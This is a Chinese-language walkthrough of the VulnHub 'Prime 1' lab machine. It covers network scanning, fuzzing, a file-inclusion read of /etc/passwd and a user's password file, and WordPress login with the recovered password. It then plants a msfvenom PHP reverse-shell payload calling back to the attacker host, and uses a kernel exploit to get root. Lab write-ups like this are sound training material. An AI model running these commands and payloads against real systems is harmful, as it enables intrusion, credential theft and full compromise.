1 环境
1.1 靶机
在 https://www.vulnhub.com/entry/prime-1,358/ 下载虚拟机,用户名victor,密码未知。
1.2 攻击机
kali2022,ip地址为192.168.198.172。
1.3 目的
获得靶机的root权限。
2 主机扫描和ip扫描
2.1 查看子网
打开虚拟网络适配器查看c段:
可以看到子网为192.168.198.0/24
2.2 主机扫描
nmap -sP 192.168.198.0/24
在靶机的设置中查看物理地址:
再结合上面的扫描结果,得知靶机ip地址为192.168.198.130
另外一种扫描方法:
arp-scan -l
2.3 端口扫描
nmap -p 1-65535 -A 192.168.198.130
开放端口为22(ssh)和80(http)端口。
3 目录扫描
扫描80端口的文件。
dirb http://192.168.198.130/
这里可以看到扫描出了各种类型的文件,可以看到这里有一个wordpress,在后续可能有用。
扫描80端口指定扩展为.txt,.php,.zip的文件:
dirb http://192.168.198.130/ -X .txt,.php,.zip
扫出一个secret.txt,两个php文件:image.php,index.php。
访问secret.txt可以看到提示:
提示中说需要进行模糊测试。
4 模糊测试
先测试index.php:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.198.130/index.php?FUZZ
过滤word字段响应,因为大部分宽度都是12 W,可以尝试过滤掉大部分的响应:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.198.130/index.php?FUZZ
访问该地址:
看到提示文件名不对,根据上面的提示,尝试填入:"location.txt"。
得到新的提示:在另一个php文件访问secrettier360。
尝试访问目标机器的 /etc/passwd 文件:
curl http://192.168.198.130/image.php?secrettier360=/etc/passwd
成功访问回显:
注意到倒数第2行提示:
直接访问文件
http://192.168.198.130/image.php?secrettier360=/home/saket/password.txt
得到一个密码:follow_the_ippsec
尝试登录ssh:
ssh登录失败。
尝试mysql也登录失败。
结合在目录扫描时扫出的wordpress(CMS),尝试从这里入手。
扫描用户名:
wpscan --url http://192.168.198.130/wordpress/ --enumerate u
发现了一个victor用户,用刚才的密码登录,成功登录到网站:
在Appearance的Edit Themes选项中找到一个可以编辑的文件,这里找到secret.php,
下一步需要建立反弹连接。
5 建立反弹连接
生成payload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.198.172 lport=7777 -o shell.php
将payload复制到secret.php,然后记得点Update File保存:
打开msfconsle,开启监听:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.198.172
set lport 7777
exploit
浏览器访问secret.php的路径:
http://192.168.198.130/wordpress/wp-content/themes/twentynineteen/secret.php
查看是否成功连接:
成功获得执行命令的权限:
得到操作系统版本为ubuntu 16.04.2
6 root提权
新打开一个msf,16.04版本ubuntu的漏洞:
searchsploit 16.04 Ubuntu
靶机内核版本为4.10.0,可以利用Local Privilege Escalation,脚本地址 linux/local/45010.c
编译:
在建立连接的端口上传脚本:
upload /test/p1 /tmp/p1
进入shell,为p1添加可执行权限并执行:
shell
cd /tmp
chmod +x p1
./p1
输入 whoami 回显root说明成功提权。